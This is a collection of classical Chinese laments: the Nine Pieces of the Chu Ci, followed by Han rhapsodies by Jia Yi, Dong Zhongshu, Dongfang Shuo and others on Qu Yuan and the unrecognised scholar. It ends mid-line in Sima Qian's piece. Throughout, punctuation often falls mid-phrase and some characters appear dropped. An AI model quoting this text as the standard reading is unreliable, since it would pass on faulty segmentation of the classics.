忠兮。忽忘身之賤貧事。君而不貳兮。迷不知寵之門 忠,何辜以遇罰兮。亦非余之所志也,行不群以顛越 兮。又眾兆之所咍也,紛逢尤以離謗兮。謇不可釋也, 情沈抑而不達兮。又蔽而莫之白也,心鬱邑余侘傺 兮。又莫察余之中情,固煩言不可結而詒兮。願陳志 而無路退靜,默而莫余知兮。進號呼又莫余聞,申侘 傺之煩惑兮。中悶瞀之忳忳,昔余夢登天兮。魂中道 而無杭,吾使厲神占之兮。曰有志極而無旁,終危獨 以離異兮。曰君可思而不可恃,故眾口其鑠金兮。初 若是而逢殆,懲熱羹而吹兮。何不變此志也,欲釋 階而登天兮。猶有曩之態也,眾駭遽以離心兮。又何 以為此伴也,同極而異路兮。又何以為此援也,晉申 生之孝子兮。父信讒而不好行,婞直而不豫兮。鯀功 用而不就,吾聞作忠以造怨兮。忽謂之過言,九折臂 而成醫兮。吾至今乃知其信,然矰弋機而在上兮。罻 羅張而在下,誤張辟以娛君兮。願側身而無所欲,儃佪以干傺兮。恐重患而離,尤欲高飛而遠集兮。君罔 謂女何之欲。橫奔而失路兮。蓋堅志而不忍背,膺牉 以交通兮。心鬱結而紆軫擣木,蘭以矯蕙兮。申椒 以為糧,播江離與滋菊兮。願春日以為糗,芳恐情質 之不信兮。故重著以自明撟茲,媚以私處兮。願曾思 而遠身。\n涉江\n余幼好此奇服兮,年既老而不衰,帶長鋏之陸離兮。 冠切雲之崔嵬,被明月兮。珮寶璐世溷濁,而莫余知 兮。吾方高馳,而不顧駕青虯兮。驂白螭,吾與重華遊 兮。瑤之圃,登崑崙兮。食玉英,吾與天地兮。比壽與,日 月兮。齊光哀,南夷之莫吾知兮。旦余將濟乎江湘,乘 鄂渚而反顧兮。欸秋冬之緒風,步余馬兮。山皋,邸余 車兮。方林乘舲船,余上沅兮。齊吳榜而擊,汰船容與 而不進兮。淹回水而凝滯,朝發枉陼兮。夕宿辰陽,苟 余心之端直兮。雖僻遠,其何傷人漵浦余儃佪兮。迷 不知吾所如,深林杳以冥冥兮。乃狖之所居,山峻 高以蔽日兮。下幽晦以多雨,霰雪紛其無垠兮。雲霏 霏其承宇,哀吾生之亡樂兮。幽獨處乎山中,吾不能 變心以從俗兮。固將愁苦而終窮,接輿髡首兮。桑扈 臝行忠,不必用兮。賢不必以伍子逢殃兮,比干葅醢 與前世而皆然兮。吾又何怨乎。今之人余將董道而 不豫兮,固將重昏而終身亂,曰:鸞鳥鳳凰日以遠兮, 燕雀、烏鵲巢堂壇兮。露申辛夷死林薄兮,腥臊並御 芳不得薄兮,陰陽易位時不當兮,懷信侘傺忽乎吾 將行兮。\n哀郢\n皇天之不純命兮,何百姓之震愆民離散而相失兮。 方仲春而東遷去,故鄉而就遠兮。遵江夏以流亡,出 國門而軫懷兮。甲之吾以行,發郢都而去閭兮。怊 荒忽其焉,極楫齊揚以容與兮。哀見君而不再得,望 長楸而太息兮。涕淫淫其若霰,過夏首而西浮兮。顧 龍門而不見,心嬋媛而傷懷兮。眇不知其所,蹠順風 波而從流兮。焉洋洋而為客,淩陽侯之氾濫兮。忽翱 翔之焉薄,心絓結而不解兮。思蹇產而不釋,將運舟 而下浮兮。上洞庭而下江去,終古之所居兮。今逍遙 而來,東羌靈魂之欲歸兮。何須臾而忘反,背夏浦而 西思兮。哀故都之日遠,登大墳以遠望兮。聊以舒吾 憂,心哀州土之平樂兮。悲江介之遺風,當陵陽之焉 至兮。淼南渡之焉,如曾不知夏之為丘兮。孰兩東門 之可蕪,心不怡之長久兮。憂與愁其相接惟,郢路之 遼遠兮。江與夏之不可涉,忽若去不信兮。至今九年 而不復,慘鬱鬱而不開兮。蹇侘傺而含慼,外承歡之 汋約兮。諶荏弱而難持,忠湛湛而願進兮。被離而 鄣之,彼堯舜之抗行兮。瞭杳杳其薄天,眾讒人之嫉 兮。被以不慈之偽名,憎慍惀之修美兮。好夫人之 慷慨,眾踥蹀而日進兮。美超遠而逾邁亂,曰曼余目 以流觀兮。冀一反之何時,鳥飛返故鄉兮。狐死必首 丘信,非吾罪而棄逐兮。何日夜而忘之。\n抽思\n心鬱鬱之憂思兮,獨永歎乎。增傷思,蹇產之不釋兮。 曼遭夜之,方長悲秋風之動容兮。何四極之浮浮,數 惟蓀之多怒兮。傷余心之懮懮,願遙赴而橫奔兮。覽 民尢以自鎮結微,情以陳詞兮。矯以遺夫美人,昔君 與我成言兮。曰黃昏以為期,羌中道而回畔兮。反既 有此他志憍,吾以其美好兮。覽余以其修姱,與余言 而不信兮。蓋為余而造怒,願承間而自察兮。心震悼 而不敢悲,夷猶而冀進兮。心怛傷之憺憺,茲歷情以 陳辭兮。蓀佯聾而不聞,固切人之不媚兮。眾果以我 為患,初吾所陳之耿著兮。豈不至今其庸亡。何獨樂 斯之謇謇兮。願蓀美之可完,望三五以為像兮。指彭 咸以為儀,夫何極而不至兮。故遠聞而難虧善,不由 外來兮。名不可以虛作,孰無施而有報兮。孰不實而 有穫少歌。曰與美人之抽思兮。并日夜而無正憍,吾 以其美好兮。敖朕辭而不聽,倡曰有鳥自南兮。來集 漢北,好姱佳麗兮。牉獨處此異域,既惸獨而不群兮。 又無良媒在其側,道卓遠而日忘兮。願自申而不得, 望北山而流涕兮。臨流水而太息,望孟夏之短夜兮。 何晦明之若歲,惟郢路之遼遠兮。魂一夕而九逝,曾 不知路之曲直兮。南指月與列星,願徑逝而不得兮。 魂識路之營營,何靈魂之信直兮。人之心不與吾心, 同理弱而媒不通兮。尚不知余之從容亂,曰長瀨湍 流泝江潭兮。狂顧南行,聊娛心兮。軫石崴嵬蹇吾,願 兮。超回志度行,隱進兮。低佪夷,猶宿北姑兮。煩冤瞀, 容實沛徂兮。愁歎苦,神靈遙思兮。路遠處幽,又無行 媒兮。道思作頌,聊以自救兮。憂心不遂,斯言誰告兮。\n懷沙\n滔滔孟夏兮,草木莽莽傷懷永哀兮。汨徂南土眴兮, 杳杳孔靜幽默鬱結紆軫兮。離而長鞠撫情效志 兮。俛首以自抑,刓方以為圜兮。常度未替易,初本迪 兮。君子所鄙章畫,志墨兮。前圖未改,內厚質正兮。大人所,巧倕不斲兮。孰察其揆正元文處幽兮。矇瞍 謂之不章,離婁微睇兮。瞽以為無明,變白以為黑兮。 倒上以為下,鳳凰在笯兮;雞鶩翔舞,同糅玉石兮。一 概而相量,夫惟黨人之鄙固兮。羌不知余之所臧,任 重載盛兮。陷滯而不濟懷,瑾握瑜兮。窮不知所示,邑 犬群吠兮。吠所怪也,非俊疑桀兮。固庸態也,文質疏 內兮。眾不知余之異,采材朴委積兮。莫知余之所有, 重仁襲義兮。謹厚以為豐,重華不可兮。孰知余之 從容。古固有不並兮。豈知其何故。湯禹久遠兮。邈而 不可慕懲,違改忿兮。抑心而自強,離而不遷兮。願 志之有,像進路北次兮。日昧昧其將暮,舒憂娛哀兮。 限之以大故亂,曰浩浩沅湘分流汨兮。修路幽蔽,道 遠忽兮。懷情抱質,獨無匹兮。伯樂既沒,驥焉程兮。民 生稟命,各有所錯兮。定心廣志,余何畏懼兮。曾傷爰 哀,永歎喟兮。世溷濁,莫吾知人心不可謂兮。知死不 可,讓願弗愛兮。明告君子,吾將以為類兮。\n思美人\n思美人兮,掔涕而佇眙。媒絕路阻兮,言不可結而詒 蹇。蹇之煩冤兮,淊滯而不發申。旦以舒中情兮,志沉 菀而莫達。願寄言於浮雲兮,遇豐隆而不將因。歸鳥 而致辭兮,羌迅高而難當。高辛之靈晟兮,遭元鳥而 致詒欲。變節以從俗兮,媿易初而屈志獨。歷年而離 愍兮,羌憑心猶未化。寧隱閔而壽考兮,何變易之可 為知。前轍之不遂兮,未改此度車。既覆而馬顛兮,蹇 獨懷此。異路勒騏驥而更駕兮,造父為我操之遷。逡 次而弗驅兮,聊假日以須時。指嶓冢之西隈兮,與纁 黃以為期。開春發歲兮,白日出之悠悠。吾將蕩志而 愉樂兮,遵江夏以娛憂。掔大薄之芳兮,搴長洲之 宿莽。惜吾不及古之人兮,吾誰與玩此。芳草解篇薄 與雜菜兮,備以為交佩。佩繽紛以繚轉兮,遂萎絕而 離異。吾且儃佪以娛憂兮,觀南人之變。態竊快在其 中心兮,揚厥憑而不。芳與澤其雜糅兮,羌芳華自 中出紛郁。郁其遠烝兮,滿內而外揚情與質。信可保 兮,羌居蔽而聞章令薜。荔以為理兮,憚舉趾而緣木 因。芙蓉以為媒兮,憚褰裳而濡。足登高吾不說兮,入 下吾不能固。朕形之不服兮,然容與而狐疑廣。遂前 畫兮,未改此度也。命則處幽吾將罷兮,願及白日之 未暮也。獨煢煢而南行兮,思彭咸之故也。\n惜往日\n惜往日之曾信兮,受命詔。以昭時奉先功以照下兮, 明法度之嫌疑。國富強而法立兮,屬貞臣而日娭祕。 密事之載心兮,雖過失猶弗治心。純龐而不泄兮,遭 讒人而嫉之君。含怒以待臣兮,不清澂其然否蔽。晦 君之聰明兮,虛惑誤。又以欺勿參驗以考實兮,遠遷 臣而勿思信讒。諛之溷濁兮,氣志而過之。何貞臣 之無罪兮。被讟謗而見尤慚。光景之誠信兮,身幽隱 而備之。臨沅湘之元淵兮,遂自忍而沉流。卒沒身而 絕名兮,惜廱君之不昭。君無度而弗察兮,使芳草為 藪幽焉。舒情而抽信兮,恬死亡而不聊。獨鄣廱而蔽 隱兮,使貞臣而無由聞。百里之為虜兮,伊尹烹於庖 廚。呂望屠於朝歌兮,甯戚歌而飯牛不逢。湯武與桓 繆兮,世孰云而知之。吳信讒而勿味兮,伍胥死而後 憂。介子忠而立枯兮,文公寤而追求。封介山而為之 禁兮,報大德之優游思。久故之親身兮,因縞素而哭 之。或忠信而死節兮,或訑謾而不疑。弗省察而按實 兮,聽讒人之虛辭。芳與澤其雜糅兮,孰申旦而別之。 何芳草之早殀兮。微霜降而下戒諒。不聰明而蔽廱 兮,使讒諛而日得。自前世之嫉賢兮,謂蕙若其不可 佩。妒佳冶之芬芳兮,母姣而自好。雖有西施之美 容兮,讒妒入以自代。願陳情以白行兮,得罪過之不 意情。冤見之日明兮,如列宿之錯置。乘騏驥而馳騁 兮,無轡御而自載。乘氾泭以下流兮,無舟楫而自備。 背法度而心治兮,辟與此其無異。寧溘死而流亡兮, 恐禍殃之有。再不畢辭以赴淵兮,惜廱君之不識。\n橘頌\n后皇嘉樹橘徠服兮,受命不遷。生南國兮,深固難徙。 更一志兮,綠葉素榮。紛其可喜兮,曾枝剡。棘圓果搏 兮,青黃雜糅。文章爛兮,精色內白。類任道兮,紛縕宜 修姱。而不醜兮,嗟爾幼志。有以異兮,獨立不遷。豈不 可喜兮。深固難徙。廓其無求兮,蘇世獨立。橫而不流 兮,閉心自慎。終不過失兮,秉德無私。參天地兮,願歲 并謝。與長友兮,淑離不搖梗。其有理兮,年歲雖少。可 師長兮,行比伯夷置以為像兮。\n悲回風\n悲回風之搖蕙兮,心冤結而內傷物。有微而隕性兮, 聲有隱而先倡。夫何彭咸之造思兮,暨志介而不忘 萬變其情。豈可蓋兮。孰虛偽之可長。鳥獸鳴以號群 兮,草苴比而不芳。魚葺鱗以自別兮,蛟龍隱其文章。 故荼薺不同畝兮,蘭幽而獨芳。惟佳人之永都兮, 更統世以自貺眇。遠志之所及兮,憐浮雲之相羊介。 眇志之所惑兮,竊賦詩之所明。惟佳人之獨懷兮,折芳椒以自處。曾歔欷之嗟嗟兮,獨隱伏而思慮。涕泣 交而凄凄兮,思不眠以至曙。終長夜之曼曼兮,掩此 哀而不去。寤從容以周流兮,聊逍遙以自恃。傷太息 之愍憐兮,氣於邑而不可止。糾思心以為纕兮,編愁 苦以為膺折。若木以蔽光兮,隨飄風之所仍存。髣 而不見兮,心踊躍其若湯。撫珮衽以案志兮,超惘惘 而遂行。歲曶曶其若頹兮,時亦冉冉而將至。薠蘅稿 而節離兮,芳已歇而不比憐。思心之不可懲兮,証此 言之不可聊。寧溘死而流亡兮,不忍此心之常愁。孤 子吟而抆淚兮,放子出而不還。孰能思而不隱兮,昭 彭咸之所聞。登石巒以遠望兮,路眇眇之默默。入景 響之無應兮,聞省想而不可得。愁鬱鬱之無快兮,居 戚戚而不可解。心鞿羈而不開兮,氣繚轉而自締。穆 眇眇之無垠兮,莽芒芒之無儀。聲有隱而相感兮,物 有純而不可為。邈漫漫之不可量兮,縹綿綿之不可 紆。愁悄悄之常悲兮,翩冥冥之不可娛。凌大波而流 風兮,託彭咸之所居。上高巖之峭岸兮,處雌蜺之標 顛。據青冥而攄虹兮,遂儵忽而捫天。吸湛露之浮涼 兮,漱凝霜之雰雰。依風以自息兮,忽傾寤以嬋媛。 馮崑崙以澂霧兮,隱山以清江。憚涌湍之磕磕兮, 聽波聲之洶洶。紛容容之無經兮,罔芒芒之無紀。軋 洋洋之無從兮,馳委移之焉止。漂翻翻其上下兮,翼 遙遙其左右。氾潏潏其前後兮,伴張弛之信期。觀炎 氣之相仍兮,窺煙液之所積悲。霜雪之俱下兮,聽潮 水之相擊。借光景以往來兮,施黃棘之枉策。求介子 之所存兮,見伯夷之放跡。心調度而弗去兮,刻著志 之無適曰。吾怨往昔之所冀兮,悼來者之。浮江 淮而入海兮,從子胥而自適。望大河之洲渚兮,悲申 徒之抗跡。驟諫君而不聽兮,任重石之何益。以絓結 而不解兮,思蹇產而不釋。\n《弔屈原賦》漢·賈誼编辑\n恭承嘉惠兮,罪長沙。仄聞屈原兮,自湛汨羅。造託 湘流兮,敬弔先生。遭世罔極兮,迺隕厥身。嗚呼哀哉 兮,逢時不祥。鸞鳳伏竄兮,鴟鴞翱翔。闒茸尊顯兮,讒 諛得志;賢聖逆曳兮,方正倒植。謂隨、夷溷兮,謂跖、蹻 廉;莫邪為鈍兮,鉛刀為銛。于嗟默默,生之亡故兮。斡 棄周鼎,寶康瓠兮。騰駕罷牛,驂蹇驢兮;驥垂兩耳,服 鹽車兮。章父薦屨,漸不可久兮;嗟若先生,獨離此咎 兮。誶曰:已矣。國其莫吾知兮,子獨壹鬱其誰語。鳳縹 縹其高逝兮,夫固自引而遠去。襲九淵之神龍兮,沕 淵潛以自珍;偭蟂獺以隱處兮,夫豈從蝦與蛭螾。所 貴聖之神德兮,遠濁世而自臧。使麒麟可係而羈兮, 豈云異夫犬羊。般紛紛其離此郵兮,亦夫子之故也。 歷九州而相其君兮,何必懷此都也。鳳凰翔於千仞 兮,覽德輝而下之;見細德之險微兮,遙增擊而去之。 彼尋常之汙瀆兮,豈容吞舟之魚。橫江湖之鱣鯨兮, 固將制於螻螘。\n《惜誓》前人编辑\n惜余年老而日衰兮,歲忽忽而不反。登蒼天而高舉 兮,歷眾山而日遠觀。江河之紆曲兮,臨四海之霑濡。 攀北極而一息兮,吸沆瀣以充虛。飛朱鳥使先驅兮, 駕太一之象。輿蒼龍蚴虯於左驂兮,白虎騁而為右 騑。建日月以為蓋兮,載玉女於後車。馳騖於杳冥之 中兮,休息虖崑崙之墟。樂窮極而不厭兮,願從容乎。 神明涉丹水而馳騁兮,右大夏之遺風。鴻鵠之一舉 兮,知山川之紆曲。再舉兮,睹天地之圜方。臨中國之 眾人兮,託回飆乎。尚羊乃至少原之兮,赤松王喬 皆在旁。二子擁瑟而調均兮,余因稱乎。清商澹然而 自樂兮,吸眾氣而翱翔。念我長生而久僊兮,不如反 余之故鄉。黃鵠後時而寄處兮,鴟梟群而制之。神龍 失水而陸居兮,為螻蟻之所裁。夫黃鵠、神龍猶如此 兮,況賢者之逢亂世哉。壽冉冉而日衰兮,固儃回而 不息。俗流從而不止兮,眾枉聚而矯直。或偷合而苟 進兮,或隱居而深藏若稱量之不審兮,同權概而就 衡。或推移而苟容兮,或直言之諤諤傷誠是之不察 兮,并紉茅絲以為索。方世俗之幽昏兮,眩白黑之美 惡。放山淵之龜玉兮,相與貴夫。礫石梅伯數諫而至 醢兮,來革順志而用國。悲仁人之盡節兮,反為小人 之所賊。比干忠諫而剖心,箕子被髮而佯狂,水背流 而源竭兮,木去根而不長。非重軀以慮難兮,惜傷身 之無功已矣哉。獨不見夫鸞鳳之高翔兮,乃集太皇 之循。四極而回周兮,見盛德而後下。彼聖人之神 德兮,遠濁世而自藏。使麒麟可得羈而係兮,又何以 異乎犬羊。\n《士不遇賦》董仲舒编辑\n嗚呼嗟乎,遐哉邈矣,時來曷遲,去之速矣,屈意從人, 非吾徒矣,正身俟時,將就木矣,悠悠偕時,豈能覺矣。 心之憂歟,不期祿矣,皇皇匪寧,祇增辱矣,努力觸藩, 徒摧角矣,不出戶庭,庶無過矣,重曰:生不丁三代之 聖隆兮,而丁三季之末俗,以辯詐而期通兮,貞士耿 介而自束,雖日三省於吾身兮,猶懷進退之惟谷,彼實繁之有徒兮,指其白而為黑,目信嫮而視眇兮,口 信辯而言訥,鬼神不能正人事之變戾兮,聖賢亦不 能開愚夫之違惑,出門則不可以偕往兮,藏器又嗤 其不容,退洗心而內訟兮,亦未知其所從也,觀上古 之清濁兮,廉士亦煢煢而靡歸,殷湯有卞隨與務光 兮,周武有伯夷與叔齊,卞隨務光遁跡於深淵兮,伯 夷叔齊登山而采薇。使彼聖人其猶周遑兮,矧舉世 而同迷。若伍員與屈原兮,固亦無所復。顧亦不能同 彼數子兮,將遠遊而終。慕於吾儕之云遠兮,疑荒途 而難。踐憚君子之於行兮,誡三日而不飯。嗟天下之 偕違兮,悵無與之偕返。孰若返身於素業兮。莫隨世 而輪轉。雖矯情而獲百利兮,復不如正心而歸一。善 紛既迫而後動兮,豈云稟性之惟褊。昭同人而大有 兮,明謙光而務展。遵幽昧於默足兮,豈舒采而蘄顯。 苟肝膽之可同兮,奚鬚髮之足辨也。\n《答客難》東方朔编辑\n客難東方朔曰:蘇秦、張儀一當萬乘之主,而都卿相 之位,澤及後世。今子大夫修先王之術,慕聖人之義, 諷誦詩書百家之言,不可勝數,著於竹帛,脣腐齒落, 服膺而不釋,好學樂道之效,明白甚矣;自以智能海 內無雙,則可謂博聞辯智矣。然悉力盡忠以事聖帝, 曠日持久,官不過侍郎,位不過執戟,意者尚有遺行 邪。同胞之徒無所容居,其故何也。東方先生喟然長 息,仰而應之曰:是故非子之所能備也。彼一時也,此 一時也,豈可同哉。夫蘇秦、張儀之時,周室大壞,諸侯 不朝,力政爭權,相擒以兵,并為十二國,未有雌雄,得 士者強,失士者亡,故談說行焉。身處尊位,珍寶充內, 外有廩倉,澤及後世,子孫長享。今則不然。聖帝流德, 天下震懾,諸侯賓服,威震四夷,連四海之外以為帶, 安於覆盂,天下平均,合為一家。動發舉事,猶運之掌, 賢不肖何以異哉。遵天之道,順地之利,物無不得其 所;故綏之則安,動之則苦;尊之則為將,卑之則為虜; 抗之則在青雲之上,抑之則在深泉之下;用之則為 虎,不用則為鼠;雖欲盡節效情,安知前後。夫天地之 大,士民之眾,竭精談說,並進輻輳者不可勝數,悉力 慕之,困於衣食,或失門戶。使蘇秦、張儀與僕並生於 今之世,曾不得掌故,安敢望常侍郎平。傳曰:天下無 害菑,雖有聖人,無所施才;上下和同,雖有賢者,無所 立功。故曰:時異,事異。雖然,安可以不務修身乎哉。詩 云:鼓鐘于宮,聲聞于外。鶴鳴于九皋,聲聞于天。苟能 修身,何患不榮。太公體行仁義,七十有二迺設用於 文武,得信厥說,封於齊,七百歲而不絕。此士所以日 夜孳孳,敏行而不敢怠也。辟若鴿,飛且鳴矣。傳曰: 天不為人之惡寒而輟其冬,地不為人之惡險而輟 其廣,君子不為小人之匈匈而易其行。天有常度,地 有常形,君子有常行;君子道其常,小人計其功。詩云: 禮義之不愆,何恤人之言。故曰:水至清則無魚,人至 察則無徒,冕而前旒,所以蔽明;黈纊充耳,所以塞聰。 明有所不見,聽有所不聞,舉大德,赦小過,無求備於 一人之義也。枉而直之,使自得之;優而柔之,使自求 之;揆而度之,使自索之。蓋聖人之教化如此,欲其自 得之;自得之,則敏且廣矣。今世之處士,時雖不用,魁 然無徒,廓然獨居,上觀許由,下察接輿,計同范蠡,忠 合子胥,天下和平,與義相扶,寡耦少徒,固其宜也,子 何疑於我哉。若夫燕之用樂毅,秦之任李斯,酈食其 之下齊,說行如流,曲從如環,所欲必得,功若丘山,海 內定,國家安,是遇其時也,子又何怪之邪。語曰以筦 闚天,以蠡測海,以莛撞鐘,豈能通其條貫,考其文理, 發其音聲哉。繇是觀之,譬猶鼱鼩之襲狗,孤豚之咋 虎,至則靡耳,何功之有。今以下愚而非處士,雖欲弗 困,固不得已,此適足以明其不知權變而終惑於大 道也。\n《七諫》前人编辑\n平生於國兮,長於原。言語訥譅兮,又無彊輔淺智 褊能兮。聞見又寡數言,便事兮。見怨門下王不察其 長利兮。卒見棄乎原,伏念思過兮。無可改者,群眾 成朋兮。上侵以惑,巧佞在前兮。賢者滅息堯舜,聖已 沒兮。孰為忠直高山崔巍兮。水流湯湯,死日將至兮。 與麋鹿同,坑塊鞠兮。當道宿舉,世皆然兮。余將誰告, 斥逐鴻鵠兮。近習鴟梟,斬伐橘柚兮。列樹苦桃,便娟 之修竹兮。寄生乎江潭上,葳蕤而防露兮。下泠泠而 來風,孰知其不合兮。若竹柏之異,心往者不可及兮。 來者不可待,悠悠蒼天兮。莫我振理竊,怨君之不寤 兮。吾獨死而後已。\n初放\n惟往古之得失兮,覽私微之。所傷堯舜聖而慈仁兮, 後世稱而弗忘。齊桓失於專任兮,夷吾忠而名彰。晉 獻惑於驪姬兮,申生孝而被殃。偃王行其仁義兮,荊 文寤而徐亡。紂暴虐以失位兮,周得佐乎。呂望修往 古以行恩兮,封比干之丘壟。賢俊慕而自附兮,日浸 淫而合同。明法令而修理兮,蘭芷幽而有芳。苦眾人之妒予兮,箕子寤而佯狂。不顧地以貪名兮,心怫鬱 而內傷。聯蕙芷以為佩兮,過鮑肆而失香。正臣端其 操行兮,反離謗而見攘。世俗更而變化兮,伯夷餓於 首陽。獨廉潔而不容兮,叔齊久而逾明。浮雲陳而蔽 晦兮,使日月乎無光。忠臣貞而欲諫兮,讒諛毀而在 旁。秋草榮其將實兮,微霜下而夜降商。風肅而害生 兮,百草育而不長。眾並諧以妒賢兮,孤聖特而易傷。 懷計謀而不見用兮,巖穴處而隱藏。成功隳而不卒 兮,子胥死而不葬。世從俗而變化兮,隨風靡而成行。 信直退而毀敗兮,虛偽進而得當。追悔過之無及兮, 豈盡忠而有功。廢制度而不用兮,務行私而去公。終 不變而死節兮,惜年齒之未央。將方舟而下流兮,冀 幸君之發矇。痛忠言之逆耳兮,恨申子之沉江。願悉 心之所聞兮,遭值君之不聰不開。寤而難道兮,不別 橫之與縱聽。奸臣之浮說兮,絕國家之久。長滅規矩 而不用兮,背繩墨之正。方離憂患而乃寤兮,若縱火 於秋蓬。業失之而不救兮,尚何論乎禍凶。彼離畔而 朋黨兮,獨行之士其何望。日漸染而不知兮,秋毫微 哉。而變容眾輕積而折軸兮,原咎雜而累。重赴湘沅 之流澌兮,恐逐波而復。東懷沙礫而自沉兮,不忍見 君之蔽壅。\n沉江\n世沉淖而難論兮,俗岑峨而嵾嵯。清泠泠而殲滅兮, 溷湛湛而日多。梟鴞既以成群兮,元鶴弭翼而屏移。 蓬艾親入御於床第兮,馬蘭踸踔而日加。棄捐葯芷 與杜蘅兮,余奈世之不知芳。何周道之平易兮,然蕪 穢而險戲。高陽無故而委塵兮,唐虞點灼而毀議。誰 使正其真是兮,雖有八師而不可為。皇天保其高兮, 后土持其久服。清白以逍遙兮,偏與乎元英異色。西 施媞媞而不得見兮,母勃屑而日侍。桂蠹不知所 淹留兮,蓼蟲不知徙乎。葵菜處湣湣之濁世兮,今安 所達乎。吾志意有所載而遠逝兮,固非眾人之所識 驥。躊躕於弊輂兮,遇孫陽而得代。呂望窮困而不聊 生兮,遭周文而舒志甯戚。飯牛而商歌兮,桓公聞而 弗置路。室女之方桑兮,孔子過之以自侍。吾獨乖刺 而無當兮,心悼怵而耄思。思比干之恲恲兮,哀子胥 之慎事悲。楚人之和氏兮,獻寶玉以為石。遇厲武之 不察兮,羌兩足以畢。斮小人之居勢兮,視忠貞之何。 若改前聖之法度兮,喜囁嚅而妄作。親讒諛而疏賢 聖兮,訟謂閭娵為醜惡。愉近習而蔽遠兮,孰知察其 黑白。卒不得效其心容兮,安眇眇而無所歸。薄專精 爽以自明兮,晦冥冥而壅蔽。年既已過大半兮,然 軻而留滯。欲高飛而遠集兮,恐離網而滅敗。獨冤抑 而無極兮,傷精神而壽夭。皇天既不純命兮,余生終 無所依。願自沉於江流兮,絕橫流而徑逝。寧為江海 之泥塗兮,安能久見此濁世。\n怨世\n賢士窮而隱處兮,廉方正而不容。子胥諫而靡軀兮, 比干忠而剖心。子推自剖而飼君兮,德日忘而怨深。 行明白而日黑兮,荊棘聚而成林。江離棄於窮巷兮, 蒺藜蔓乎東廂。賢者蔽而不見兮,讒諛進而相朋。梟 鴞並進而俱鳴兮,鳳凰飛而高翔。願一往而徑逝兮, 道壅絕而不通。\n怨思\n居愁懃其誰告兮,獨永思而憂悲。內自省而不慚兮, 操愈堅而不衰。隱三年而無決兮,歲忽忽其若頹憐。 余身不足以卒意兮,冀一見而復歸。哀人事之不幸 兮,屬天命而委之咸池。身被疾而不間兮,心沸熱其 若湯。冰炭不可以相並兮,吾固知乎命之不長。哀獨 苦死之無樂兮,惜予年之未央悲。不反余之所居兮, 恨離予之故鄉。鳥獸驚而失群兮,猶高飛而哀鳴。狐 死必首丘兮,夫人孰能不反其真情。故人疏而日忘 兮,新人近而俞好。莫能行於杳冥兮,孰能施於無報。 若眾人之皆然兮,乘回風而遠遊。凌恆山其若陋兮, 聊媮娛以忘憂。悲虛言之無實兮,苦眾口之鑠金。過 故鄉而一顧兮,泣歔欷而霑襟。厭白玉以為面兮,懷 琬琰以為心邪。氣入而惑內兮,施玉色而外淫。何青 雲之流瀾兮,微霜降之蒙蒙。徐風至而徘徊兮,疾風 過之湯湯。聞南藩樂而欲往兮,至會稽而且止。見韓 眾而宿之兮,問天道之所在。借浮雲以送予兮,載雌 霓而為旌駕。青龍以馳騖兮,班衍衍之冥冥。忽容容 其安之,兮超慌忽其焉。如苦眾人之難信兮,願離群 而遠舉。登巒山而遠望兮,好桂樹之冬榮。觀天火之 炎煬兮,聽大壑之波聲。引八維以自道兮,含沆瀣以 長生。居不樂以時思兮,食草木之秋。實飲菌若之朝 露兮,構桂木而為室雜。橘柚以為囿兮,列辛夷與椒 楨。鶤鶴孤而夜號兮,哀居者之誠貞。\n自悲\n哀時命之不合兮,傷楚國之多。憂內懷情之潔白兮, 遭亂世而離。尤惡耿介之直行兮,世溷濁而不知何。 君臣之相失兮,上沅湘而分離。測汨羅之湘水兮,知時固而不反傷。離散之交亂兮,遂側身而既遠處。元 舍之幽門兮,穴巖石而窟伏。從水蛟而為徒兮,與神 龍乎休息何。山石之嶄巖兮,靈魂屈而偃蹇。含素水 而蒙深兮,日耿耿而既遠。哀形體之離解兮,神罔兩 而無舍。惟椒蘭之不反兮,魂迷惑而不知路。願無過 之設行兮,雖滅沒之自樂。痛楚國之流亡兮,哀靈修 之過。到固時俗之溷濁兮,志瞀迷而不知路。念私門 之正匠兮,遙涉江而遠去。念女之嬋娟兮,涕泣流 乎於悒。我決死而不生兮,雖重追吾何及。戲疾瀨之 素水兮,望高山之蹇產。哀高丘之赤岸兮,遂沒身而 不反。\n哀命\n怨靈修之浩蕩兮,夫何執操之。不固悲太山之為隍 兮,孰江河之可涸。願承間而效志兮,恐犯忌而干諱。 卒撫情以寂寞兮,然怊悵而自悲。玉與石而同匱兮, 貫魚眼於珠璣。駑駿雜而不分兮,服罷牛而驂驥。年 滔滔而日遠兮,壽冉冉而俞衰。心悇憛而煩冤兮,蹇 超遙而無冀固。時俗之工巧兮,滅規矩而改錯。卻騏 驥而不乘兮,策駑駘而取路。當世豈無騏驥兮。誠無 王良之善馭。見執轡者非其人兮,故駒跳而遠去。不 量鑿而正枘兮,恐矩矱之不同。不論世而高舉兮,恐 操行之不調弧。弓弛而不張兮,孰云知其所至。無傾 危之患難兮,焉知賢士之所死。俗推佞而進富兮,節 行張而不著。賢良蔽而不群兮,朋曹比而黨譽邪。枉 說飾而多曲兮,正法弧而不公。直士隱而辟匿兮,讒 諛登乎明堂。棄彭咸之娛樂兮,滅巧倕之繩墨。菎蕗 雜於叢蒸兮,機蓬矢以射革。駕蹇驢而無策兮,又何 路之能。極以直鍼而為釣兮,又何魚之能。得伯牙之 絕絃兮,無鍾子期而聽之和。抱璞而泣血兮,安得良 工而剖之同。音者相和兮,同類者相似。飛鳥號其群 兮,鹿鳴求其友。故叩宮而宮應兮,彈角而角動。虎嘯 而谷風生兮,龍舉而景雲往。音聲之相和兮,言物類 之相感也。夫方圜之異形兮,勢不可以相錯。列子隱 身而窮處兮,世莫可以寄託。眾鳥皆有行列兮,鳳獨 翱翔而無所薄。經濁世而不得志兮,願側身巖穴而 自託。欲闔口而無言兮,嘗被君之厚德。獨便悁而懷 毒兮,愁鬱鬱之焉極。念三年之積思兮,願一見而陳 詞。不及君而騁說兮,世孰可為明之身。寢疾而日愁 兮,情沈抑而不揚。眾人莫可與論道兮,悲精神之不 通。\n謬諫\n亂曰:鸞凰、孔鳳日以遠兮,畜鳧駕鵝。雞鶩滿堂壇兮, 蛙黽遊乎華池。要褭奔亡兮,騰駕橐駝。鉛刀進御兮, 遙棄太阿。拔搴元芝兮,列樹芋荷。橘柚萎枯兮,苦李 旖旎甂甌,登於明堂兮,周鼎潛乎。深淵自古而固然 兮,吾又何怨乎今之人。\n《悲士不遇賦》司馬遷编辑\n悲夫士生之不辰,愧顧影而獨存,恆克己而復禮,懼 志行而無聞,諒才韙而世戾,將逮死而長勤,雖有形 而不彰,徒有能而不陳,何窮達之易惑,信美惡之難 分,時悠悠而蕩蕩,將遂屈而不伸,使公於公者,彼我 